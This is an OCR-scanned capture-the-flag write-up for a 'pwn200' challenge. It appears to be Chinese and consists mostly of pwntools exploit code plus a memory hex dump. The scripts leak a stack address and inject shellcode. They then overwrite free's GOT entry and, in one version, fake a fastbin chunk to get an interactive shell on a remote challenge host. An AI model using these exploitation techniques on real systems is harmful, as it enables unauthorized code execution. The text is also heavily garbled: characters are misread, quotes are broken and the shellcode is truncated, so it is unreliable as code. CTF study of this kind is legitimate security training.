BT Tree(ptr). Dhidchunk k£ 4% in A fastbint .

sh.recvuntil('choice : ')
sh.sendline('2") # free(fake_addr)

SRJE R AN RIRER /N A ]

sh.recvuntil('choice : ")

sh.sendline('1") #malloc(fake_addr) #fake_addr
sh.recvuntil('long?")

sh.sendline('48") # 48 + 16 = 64 = Ox40
sh.recvline('48") # ptr = malloc(48)

data
data

'a' * Ox18 + p64(shellcode_addr) # write to target_addr
data.ljust(48, '\x00')

malloc i& [a] i1 0x7fff08521a30. %X )55 Adata, 2>t 1% 2148 Huhik 25 shellcodeth ik .



8521908 F@ 19 52 @8 FF 7F 80 @8 FF 89 40 B0 @0 66 @0 88 .......... e
55219E0 @0 9O OO OO OO OO OO PO 658 B1 BB 97 @1 6O @0 B ........ [ P
85219F@ 4@ 1A 52 @8 FF 7F 90 @8 8C 9A 40 B0 @0 60 @0 88 [@.R....... R
3521400 @0 GO OO OO OO OO OO PO OO OO OO BO GO BO @B BB . ...............
8521410 60 G0 60 G0 60 G0 00 G0 00 00 0D BE G0 BE @8 B . ...............
5521420 @0 9O OO 0O OO 0O OO BB 41 0D OO 0O OO 0O @0 B  ........ A
8521438 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaazazaaazazaaad
8521848 61 61 61 61 61 61 61 61 [7@ 1A 52 @8 FF 7F @@ @8| asaaaaaap.R.....
8521450 00 G0 60 G0 60 G0 00 00 00 00 0D BE @B BE @8 BB . ...............
8521460 30 A0 00 A0 OO 0O OO BB 20 0D OO OO OO 0O @0 B B....... e
Glm31 CB 48 BB D1 9D 96 91 D@ BC 97 FF 48 F7 DB 53 1...n-..K-..H...
@ 54 5F 99 52 57 54 5E B@ 3B @F @5 61 61 61 61 [l T_.RWT*.;..aaaaa
8 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaazazaaazaaaaad
@ €@ 1A 52 @8 FF 7F @0 @@ 59 O 40 B0 @0 00 @0 B8 ..R..... Yolfonnn.
@ AS 1B 52 @8 FF 7F 90 00 00 00 00 B2 @1 B0 @8 B8 ..R.............
© 60 @B 49 9O OA 9O OO @B 30 78 SE 97 E6 JF @0 88 T .@..... ...
o 90 G0 00 GO B0 GO B0 B8 AR 1B 52 88 FF 7F @8 88 .......... IR .C
f MA@ ARC RR Q7 A1 A AR GG IR AR A AR AR GG G0 AK 1 A
from pwn import *
import binascii
import time
import struct
g local=True
context.log _level='debug'
sh=0
free_got=0x602018
if g local:
sh=process("./pwn200")
#telf = ELF('./pwn200"')
#free_got = elf.got["free"]
#print_log("attch by ida..... ")
raw_input("ida has attch? Press any key for continue...")
else:

sh=remote("47.104.16.75",8997)

shellcode = "\x31\xc@\x48\xbb\xd1\x9d\x96\x91\xd0O\x8c\x97 \xfF\x48\xf7\xdb\x53\x54\x5F\x99\x52\x57\x54\x5e\x
def test2():
print sh.recv(100)
sh.send(shellcode+'a'*(48-1len(shellcode)))
if not g_local:
print sh.recvuntil("\n")
str_recv=sh.recv(256)
print "return",str_recv,repr(str_recv)
str_stack=str_recv[48:48+6]
print str_stack
str_stack+="\00\00"
ebp,=struct.unpack("Q",str_stack)
print "Stack address:%08x"%ebp
offset=0x50
shellcode_addr=ebp-offset
print "shellcode_addr = " + hex(shellcode_addr)
sh.sendline('0"') #id
print sh.recvuntil('\n")

payload = p64(shellcode_addr)

#the juck data must be '\x00' in the got!

sh.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))
sh.recvuntil('choice :')

sh.sendline('2")

sh.interactive()



def test3():
print sh.recv(100)
sh.send(shellcode+'a'*(48-1en(shellcode)))
if not g_local:

print sh.recvuntil("\n")

str_recv=sh.recv(256)
print "return",str_recv,repr(str_recv)
str_stack=str_recv[48:48+6]
print str_stack
str_stack+="\00\00"
ebp,=struct.unpack("Q",str_stack)
print "Stack address:%08x"%ebp
offset=0x50
shellcode_addr=ebp-offset
fake_addr=ebp-0x90
print "shellcode_addr = " + hex(shellcode_addr)

sh.sendline("32")
sh.recv(100)

#32bytes padding +prev size +size +padding +fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41) # no strcpy

data = data.ljust(56, '\x00') + p64(fake_addr)
print data
sh.send(data)

sh.recvuntil('choice : ")

sh.sendline('2") # free(fake_addr)
sh.recvuntil('choice : ')

sh.sendline('1") #tmalloc(fake_addr) #fake_addr

sh.recvuntil('long?"')
sh.sendline('48") # 48 + 16 = 64 = 0x40
sh.recvline('48") # ptr = malloc(48)

data = 'a' * Ox18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, '\xe0')

sh.send(data)

sh.recvuntil('choice")
sh.sendline('3")

sh.interactive()

test3()
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